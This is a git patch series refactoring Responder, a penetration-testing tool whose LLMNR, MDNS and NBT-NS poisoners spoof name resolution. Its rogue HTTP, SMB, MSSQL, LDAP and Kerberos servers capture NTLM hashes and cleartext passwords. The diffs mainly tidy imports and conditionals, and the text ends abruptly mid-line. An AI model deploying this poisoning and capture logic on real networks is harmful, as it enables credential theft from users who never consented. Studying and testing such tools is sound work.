From f2a2ffbe87ca23190c669559807404b375e50adb Mon Sep 17 00:00:00 2001 From: jvoisin Date: Tue, 5 Jul 2016 00:18:48 +0200 Subject: [PATCH 1/5] Refactor a bit the poisoners --- poisoners/LLMNR.py | 33 +++++++-------------------------- poisoners/MDNS.py | 36 +++++++++++++----------------------- poisoners/NBTNS.py | 27 ++++++++------------------- settings.py | 7 +++---- utils.py | 11 +++++++++++ 5 files changed, 42 insertions(+), 72 deletions(-) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index a83bd4d..dca224d 100644 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -14,28 +14,18 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import socket import struct -import settings import fingerprint from packets import LLMNR_Ans -from odict import OrderedDict from SocketServer import BaseRequestHandler from utils import * + def Parse_LLMNR_Name(data): NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name + return data[13:13+NameLen] -def IsOnTheSameSubnet(ip, net): - net += '/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) def IsICMPRedirectPlausible(IP): dnsip = [] @@ -43,22 +33,19 @@ def IsICMPRedirectPlausible(IP): ip = line.split() if len(ip) < 2: continue - if ip[0] == 'nameserver': + elif ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: - if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: + if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) - else: - pass if settings.Config.AnalyzeMode: IsICMPRedirectPlausible(settings.Config.Bind_To) -# LLMNR Server class -class LLMNR(BaseRequestHandler): +class LLMNR(BaseRequestHandler): # LLMNR Server class def handle(self): data, soc = self.request Name = Parse_LLMNR_Name(data) @@ -68,24 +55,18 @@ class LLMNR(BaseRequestHandler): return None if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): - + Finger = None if settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - else: - Finger = None - # Analyze Mode if settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]" print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - - # Poisoning Mode - else: + else: # Poisoning Mode Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer.calculate() soc.sendto(str(Buffer), self.client_address) LineHeader = "[*] [LLMNR]" - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) if Finger is not None: diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index ca554db..d877bf4 100644 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -15,8 +15,6 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -import settings -import socket from SocketServer import BaseRequestHandler from packets import MDNS_Ans @@ -33,15 +31,14 @@ def Parse_MDNS_Name(data): except IndexError: return None + def Poisoned_MDNS_Name(data): data = data[12:] - Name = data[:len(data)-5] - return Name + return data[:len(data)-5] + class MDNS(BaseRequestHandler): - def handle(self): - MADDR = "224.0.0.251" MPORT = 5353 @@ -52,22 +49,15 @@ class MDNS(BaseRequestHandler): if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): return None - try: - # Analyze Mode - if settings.Config.AnalyzeMode: - if Parse_IPV6_Addr(data): - print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + if settings.Config.AnalyzeMode: # Analyze Mode + if Parse_IPV6_Addr(data): + print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + else: # Poisoning Mode + if Parse_IPV6_Addr(data): - # Poisoning Mode - else: - if Parse_IPV6_Addr(data): - - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To)) - Buffer.calculate() - soc.sendto(str(Buffer), (MADDR, MPORT)) - - print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To)) + Buffer.calculate() + soc.sendto(str(Buffer), (MADDR, MPORT)) - except Exception: - raise \ No newline at end of file + print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) \ No newline at end of file diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 3b0d7d9..b8e1e99 100644 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -14,8 +14,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import socket -import settings + import fingerprint from packets import NBT_Ans @@ -26,20 +25,15 @@ from utils import * def Validate_NBT_NS(data): if settings.Config.AnalyzeMode: return False - - if NBT_NS_Role(data[43:46]) == "File Server": + elif NBT_NS_Role(data[43:46]) == "File Server": return True - - if settings.Config.NBTNSDomain: + elif settings.Config.NBTNSDomain: if NBT_NS_Role(data[43:46]) == "Domain Controller": return True - - if settings.Config.Wredirect: + elif settings.Config.Wredirect: if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": return True - - else: - return False + return False # NBT_NS Server class. class NBTNS(BaseRequestHandler): @@ -54,19 +48,14 @@ class NBTNS(BaseRequestHandler): return None if data[2:4] == "\x01\x10": - + Finger = None if settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) - else: - Finger = None - # Analyze Mode - if settings.Config.AnalyzeMode: + if settings.Config.AnalyzeMode: # Analyze Mode LineHeader = "[Analyze mode: NBT-NS]" print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - - # Poisoning Mode - else: + else: # Poisoning Mode Buffer = NBT_Ans() Buffer.calculate(data) socket.sendto(str(Buffer), self.client_address) diff --git a/settings.py b/settings.py index ff3b237..5f6634b 100644 --- a/settings.py +++ b/settings.py @@ -14,13 +14,12 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import sys -import socket + import utils -import logging import ConfigParser +from utils import * + __version__ = 'Responder 2.3' class Settings: diff --git a/utils.py b/utils.py index 656bff0..d93d003 100644 --- a/utils.py +++ b/utils.py @@ -50,6 +50,16 @@ def text(txt): return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) + +def IsOnTheSameSubnet(ip, net): + net += '/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + + def RespondToThisIP(ClientIp): if ClientIp.startswith('127.0.0.'): @@ -90,6 +100,7 @@ def OsInterfaceIsSupported(): return False if IsOsX() else True else: return False + def IsOsX(): Os_version = sys.platform if Os_version == "darwin": From 8e9205b102392533f4bfd6240df73b49487b05b5 Mon Sep 17 00:00:00 2001 From: jvoisin Date: Tue, 5 Jul 2016 00:55:14 +0200 Subject: [PATCH 2/5] Refactor a bit the servers --- servers/Browser.py | 48 +++++-------- servers/DNS.py | 15 ++--- servers/FTP.py | 4 +- servers/HTTP.py | 53 ++++++--------- servers/HTTP_Proxy.py | 24 ++----- servers/IMAP.py | 6 -- servers/Kerberos.py | 77 ++++++++------------- servers/LDAP.py | 35 +++------- servers/MSSQL.py | 30 +++------ servers/POP3.py | 16 +---- servers/SMB.py | 153 ++++++++++++++---------------------------- servers/SMTP.py | 6 +- 12 files changed, 150 insertions(+), 317 deletions(-) diff --git a/servers/Browser.py b/servers/Browser.py index 42c5443..20a4210 100644 --- a/servers/Browser.py +++ b/servers/Browser.py @@ -14,16 +14,13 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import socket -import struct -import settings - from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData from SocketServer import BaseRequestHandler from utils import * + def WorkstationFingerPrint(data): - Role = { + return { "\x04\x00" :"Windows 95", "\x04\x10" :"Windows 98", "\x04\x90" :"Windows ME", @@ -35,12 +32,11 @@ def WorkstationFingerPrint(data): "\x06\x02" :"Windows 8/Server 2012", "\x06\x03" :"Windows 8.1/Server 2012R2", "\x10\x00" :"Windows 10/Server 2016", - } + }.get(data, 'Unknown') - return Role[data] if data in Role else "Unknown" def RequestType(data): - Type = { + return { "\x01": 'Host Announcement', "\x02": 'Request Announcement', "\x08": 'Browser Election', @@ -51,30 +47,23 @@ def RequestType(data): "\x0d": 'Master Announcement', "\x0e": 'Reset Browser State Announcement', "\x0f": 'Local Master Announcement', - } + }.get(data, 'Unknown') - return Type[data] if data in Type else "Unknown" def PrintServerName(data, entries): - if entries > 0: + if entries <= 0: + return None + entrieslen = 26 * entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] - entrieslen = 26*entries - chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries - ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] + l = [] + for x in ServerName: + fingerprint = WorkstationFingerPrint(x[16:18]) + name = x[:16].replace('\x00', '') + l.append('%s (%s)' % (name, fingerprint)) + return l - l = [] - for x in ServerName: - FP = WorkstationFingerPrint(x[16:18]) - Name = x[:16].replace('\x00', '') - - if FP: - l.append(Name + ' (%s)' % FP) - else: - l.append(Name) - - return l - - return None def ParsePacket(Payload): PayloadOffset = struct.unpack('. -import re - from packets import DNS_Ans from SocketServer import BaseRequestHandler from utils import * @@ -24,13 +22,12 @@ def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] # If Type A, Class IN, then answer. - return True if QueryTypeClass == "\x00\x01\x00\x01" else False + return QueryTypeClass == "\x00\x01\x00\x01" + + -# DNS Server class class DNS(BaseRequestHandler): - def handle(self): - # Break out if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None @@ -43,7 +40,7 @@ class DNS(BaseRequestHandler): buff.calculate(data) soc.sendto(str(buff), self.client_address) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) except Exception: @@ -51,9 +48,7 @@ class DNS(BaseRequestHandler): # DNS Server TCP Class class DNSTCP(BaseRequestHandler): - def handle(self): - # Break out if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None @@ -61,7 +56,7 @@ class DNSTCP(BaseRequestHandler): try: data = self.request.recv(1024) - if ParseDNSType(data) and settings.Config.AnalyzeMode == False: + if ParseDNSType(data) and settings.Config.AnalyzeMode is False: buff = DNS_Ans() buff.calculate(data) self.request.send(str(buff)) diff --git a/servers/FTP.py b/servers/FTP.py index 6b1a5e1..0a3f7d0 100644 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -14,8 +14,6 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import settings from utils import * from SocketServer import BaseRequestHandler @@ -47,7 +45,7 @@ class FTP(BaseRequestHandler): 'client': self.client_address[0], 'user': User, 'cleartext': Pass, - 'fullhash': User+':'+Pass + 'fullhash': User + ':' + Pass }) else: diff --git a/servers/HTTP.py b/servers/HTTP.py index d55eb6c..f2d7018 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -14,12 +14,9 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import struct -import settings -from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer -from base64 import b64decode, b64encode +from SocketServer import BaseRequestHandler, StreamRequestHandler +from base64 import b64decode from utils import * from packets import NTLM_Challenge @@ -72,58 +69,52 @@ def ParseHTTPHash(data, client): 'type': 'NTLMv2', 'client': client, 'host': HostName, - 'user': Domain+'\\'+User, - 'hash': NTHash[:32]+":"+NTHash[32:], + 'user': Domain + '\\' + User, + 'hash': NTHash[:32] + ":" + NTHash[32:], 'fullhash': WriteHash, }) def GrabCookie(data, host): - Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data) + Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) if Cookie: Cookie = Cookie.group(0).replace('Cookie: ', '') if len(Cookie) > 1 and settings.Config.Verbose: print text("[HTTP] Cookie : %s " % Cookie) return Cookie - else: - return False + return False def GrabHost(data, host): - Host = re.search('(Host:*.\=*)[^\r\n]*', data) + Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) if Host: Host = Host.group(0).replace('Host: ', '') if settings.Config.Verbose: print text("[HTTP] Host : %s " % color(Host, 3)) return Host - else: - return False + return False def GrabReferer(data, host): - Referer = re.search('(Referer:*.\=*)[^\r\n]*', data) + Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) if Referer: Referer = Referer.group(0).replace('Referer: ', '') if settings.Config.Verbose: print text("[HTTP] Referer : %s " % color(Referer, 3)) return Referer - else: - return False + return False def WpadCustom(data, client): - Wpad = re.search('(/wpad.dat|/*\.pac)', data) + Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) if Wpad: Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer.calculate() return str(Buffer) - else: - return False + return False def ServeFile(Filename): with open (Filename, "rb") as bk: - data = bk.read() - bk.close() - return data + return bk.read() def RespondWithFile(client, filename, dlname=None): @@ -138,9 +129,9 @@ def RespondWithFile(client, filename, dlname=None): return str(Buffer) def GrabURL(data, host): - GET = re.findall('(?<=GET )[^HTTP]*', data) - POST = re.findall('(?<=POST )[^HTTP]*', data) - POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) + GET = re.findall(r'(?<=GET )[^HTTP]*', data) + POST = re.findall(r'(?<=POST )[^HTTP]*', data) + POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) if GET and settings.Config.Verbose: print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) @@ -152,11 +143,11 @@ def GrabURL(data, host): # Handle HTTP packet sequence. def PacketSequence(data, client): - NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) - Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) + NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\\r]*', data) + Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\\r]*', data) # Serve the .exe if needed - if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)): + if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)): return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) # Serve the custom HTML if needed @@ -189,7 +180,6 @@ def PacketSequence(data, client): if settings.Config.Force_WPAD_Auth and WPAD_Custom: print text("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom - else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() @@ -215,28 +205,23 @@ def PacketSequence(data, client): if settings.Config.Verbose: print text("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom - else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() return str(Buffer) - else: if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: print text("[HTTP] Sending BASIC authentication request to %s" % client) - else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: print text("[HTTP] Sending NTLM authentication request to %s" % client) - return str(Response) # HTTP Server class class HTTP(BaseRequestHandler): - def handle(self): try: while True: diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index 21aa431..836d1ea 100644 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -14,8 +14,6 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import settings import urlparse import select import zlib @@ -43,24 +41,20 @@ def InjectData(data, client, req_uri): return data RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] - - if [s for s in RedirectCodes if s in Headers]: + if set(RedirectCodes) & set(Headers): return data if "content-encoding: gzip" in Headers.lower(): Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) if "content-type: text/html" in Headers.lower(): - - # Serve the custom HTML if needed - if settings.Config.Serve_Html: + if settings.Config.Serve_Html: # Serve the custom HTML if needed return RespondWithFile(client, settings.Config.Html_Filename) - Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasBody = re.findall('(]*>)', Content) + Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) + HasBody = re.findall(r'(]*>)', Content) if HasBody and len(settings.Config.HtmlToInject) > 2: - if settings.Config.Verbose: print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) @@ -71,11 +65,9 @@ def InjectData(data, client, req_uri): Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) data = Headers +'\r\n\r\n'+ Content - else: if settings.Config.Verbose: print text("[PROXY] Returning unmodified HTTP response") - return data class ProxySock: @@ -96,19 +88,17 @@ class ProxySock: def connect(self, address) : # Store the real remote adress - (self.host, self.port) = address + self.host, self.port = address # Try to connect to the proxy for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo( self.proxy_host, self.proxy_port, - 0, 0, socket.SOL_TCP) : + 0, 0, socket.SOL_TCP): try: - # Replace the socket by a connection to the proxy self.socket = socket.socket(family, socktype, proto) self.socket.connect(sockaddr) - except socket.error, msg: if self.socket: self.socket.close() @@ -116,7 +106,7 @@ class ProxySock: continue break if not self.socket : - raise socket.error, ms + raise socket.error, msg # Ask him to create a tunnel connection to the target host/port self.socket.send( diff --git a/servers/IMAP.py b/servers/IMAP.py index c0ae12b..050c9bb 100644 --- a/servers/IMAP.py +++ b/servers/IMAP.py @@ -14,16 +14,11 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import settings - from utils import * from SocketServer import BaseRequestHandler from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd -# IMAP4 Server class class IMAP(BaseRequestHandler): - def handle(self): try: self.request.send(str(IMAPGreeting())) @@ -50,6 +45,5 @@ class IMAP(BaseRequestHandler): ## FIXME: Close connection properly ## self.request.send(str(ditchthisconnection())) ## data = self.request.recv(1024) - except Exception: pass \ No newline at end of file diff --git a/servers/Kerberos.py b/servers/Kerberos.py index b3ac4bf..32bd23e 100644 --- a/servers/Kerberos.py +++ b/servers/Kerberos.py @@ -14,10 +14,6 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import struct -import settings - from SocketServer import BaseRequestHandler from utils import * @@ -50,8 +46,7 @@ def ParseMSKerbv5TCP(Data): Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen] BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') return BuildHash - - if HashLen == 54: + elif HashLen == 54: Hash = Data[53:105] SwitchHash = Hash[16:]+Hash[0:16] NameLen = struct.unpack('. -import os -import struct -import settings - from SocketServer import BaseRequestHandler from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from utils import * def ParseSearch(data): - Search1 = re.search('(objectClass)', data) - Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data) - Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data) - - if Search1: + if re.search(r'(objectClass)', data): return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) - if Search2: + elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) - if Search3: + elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) def ParseLDAPHash(data, client): @@ -54,7 +46,7 @@ def ParseLDAPHash(data, client): UserOffset = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack('. -import os -import struct -import settings - from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from utils import * @@ -54,6 +50,7 @@ class TDS_Login_Packet: self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '') self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '') + def ParseSQLHash(data, client): SSPIStart = data[8:] @@ -97,17 +94,17 @@ def ParseSQLHash(data, client): 'fullhash': WriteHash, }) + def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) - Pw = [] + Pw = '' for x in Pwd: - Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) - return ''.join(Pw) + Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') + return Pw + def ParseClearTextSQLPass(data, client): - TDS = TDS_Login_Packet(data) - SaveToDb({ 'module': 'MSSQL', 'type': 'Cleartext', @@ -120,7 +117,6 @@ def ParseClearTextSQLPass(data, client): # MSSQL Server class class MSSQL(BaseRequestHandler): - def handle(self): if settings.Config.Verbose: print text("[MSSQL] Received connection from %s" % self.client_address[0]) @@ -130,28 +126,24 @@ class MSSQL(BaseRequestHandler): data = self.request.recv(1024) self.request.settimeout(0.1) - # Pre-Login Message - if data[0] == "\x12": + + if data[0] == "\x12": # Pre-Login Message Buffer = str(MSSQLPreLoginAnswer()) self.request.send(Buffer) data = self.request.recv(1024) - # NegoSSP - if data[0] == "\x10": + if data[0] == "\x10": # NegoSSP if re.search("NTLMSSP",data): Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) Packet.calculate() Buffer = str(Packet) self.request.send(Buffer) data = self.request.recv(1024) - else: ParseClearTextSQLPass(data,self.client_address[0]) - - # NegoSSP Auth - if data[0] == "\x11": + + if data[0] == "\x11": # NegoSSP Auth ParseSQLHash(data,self.client_address[0]) except socket.timeout: - pass self.request.close() diff --git a/servers/POP3.py b/servers/POP3.py index 5bdfa7e..00e6b06 100644 --- a/servers/POP3.py +++ b/servers/POP3.py @@ -14,22 +14,16 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import settings - from utils import * from SocketServer import BaseRequestHandler from packets import POPOKPacket # POP3 Server class class POP3(BaseRequestHandler): - def SendPacketAndRead(self): Packet = POPOKPacket() self.request.send(str(Packet)) - data = self.request.recv(1024) - - return data + return self.request.recv(1024) def handle(self): try: @@ -38,7 +32,6 @@ class POP3(BaseRequestHandler): if data[0:4] == "USER": User = data[5:].replace("\r\n","") data = self.SendPacketAndRead() - if data[0:4] == "PASS": Pass = data[5:].replace("\r\n","") @@ -50,11 +43,6 @@ class POP3(BaseRequestHandler): 'cleartext': Pass, 'fullhash': User+":"+Pass, }) - - data = self.SendPacketAndRead() - - else: - data = self.SendPacketAndRead() - + self.SendPacketAndRead() except Exception: pass \ No newline at end of file diff --git a/servers/SMB.py b/servers/SMB.py index 40c195c..e4632b1 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -14,84 +14,49 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import struct -import settings - from random import randrange -from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData +from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData from SocketServer import BaseRequestHandler from utils import * -# Detect if SMB auth was Anonymous -def Is_Anonymous(data): + +def Is_Anonymous(data): # Detect if SMB auth was Anonymous SecBlobLen = struct.unpack(' 260: + return LMhashLen in [0, 1] + elif SecBlobLen > 260: LMhashLen = struct.unpack(' 2: - Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) -# SMB Server class, NTLMSSP -class SMB1(BaseRequestHandler): +class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(1) - if len(data) < 1: + if not data: break - ##session request 139 - if data[0] == "\x81": + if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: - self.request.send(Buffer) + self.request.send(Buffer) data = self.request.recv(1024) except: pass - # Negociate Protocol Response - if data[8:10] == "\x72\x00": - # \x72 == Negociate Protocol Response + if data[8:10] == "\x72\x00": # Negociate Protocol Response Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body.calculate() @@ -249,8 +207,7 @@ class SMB1(BaseRequestHandler): self.request.send(Buffer) data = self.request.recv(1024) - # Session Setup AndX Request - if data[8:10] == "\x73\x00": + if data[8:10] == "\x73\x00": # Session Setup AndX Request IsNT4ClearTxt(data, self.client_address[0]) # STATUS_MORE_PROCESSING_REQUIRED @@ -264,8 +221,8 @@ class SMB1(BaseRequestHandler): self.request.send(Buffer) data = self.request.recv(4096) - # STATUS_SUCCESS - if data[8:10] == "\x73\x00": + + if data[8:10] == "\x73\x00": # STATUS_SUCCESS if Is_Anonymous(data): Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() @@ -290,10 +247,9 @@ class SMB1(BaseRequestHandler): self.request.send(Buffer) data = self.request.recv(1024) - # Tree Connect AndX Request - if data[8:10] == "\x75\x00": + + if data[8:10] == "\x75\x00": # Tree Connect AndX Request ParseShare(data) - # Tree Connect AndX Response Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Body = SMBTreeData() Body.calculate() @@ -304,8 +260,7 @@ class SMB1(BaseRequestHandler): self.request.send(Buffer) data = self.request.recv(1024) - ##Tree Disconnect. - if data[8:10] == "\x71\x00": + if data[8:10] == "\x71\x00": #Tree Disconnect Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" @@ -314,9 +269,8 @@ class SMB1(BaseRequestHandler): self.request.send(Buffer) data = self.request.recv(1024) - - ##NT_CREATE Access Denied. - if data[8:10] == "\xa2\x00": + + if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied. Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" @@ -325,9 +279,8 @@ class SMB1(BaseRequestHandler): self.request.send(Buffer) data = self.request.recv(1024) - - ##Trans2 Access Denied. - if data[8:10] == "\x25\x00": + + if data[8:10] == "\x25\x00": # Trans2 Access Denied. Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" @@ -337,8 +290,8 @@ class SMB1(BaseRequestHandler): self.request.send(Buffer) data = self.request.recv(1024) - ##LogOff. - if data[8:10] == "\x74\x00": + + if data[8:10] == "\x74\x00": # LogOff Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x02\xff\x00\x27\x00\x00\x00" @@ -351,22 +304,19 @@ class SMB1(BaseRequestHandler): except socket.timeout: pass -# SMB Server class, old version -class SMB1LM(BaseRequestHandler): +class SMB1LM(BaseRequestHandler): # SMB Server class, old version def handle(self): try: self.request.settimeout(0.5) data = self.request.recv(1024) - - ##session request 139 - if data[0] == "\x81": + + if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" self.request.send(Buffer) data = self.request.recv(1024) - - ##Negotiate proto answer. - if data[8:10] == "\x72\x00": + + if data[8:10] == "\x72\x00": #Negotiate proto answer. head = 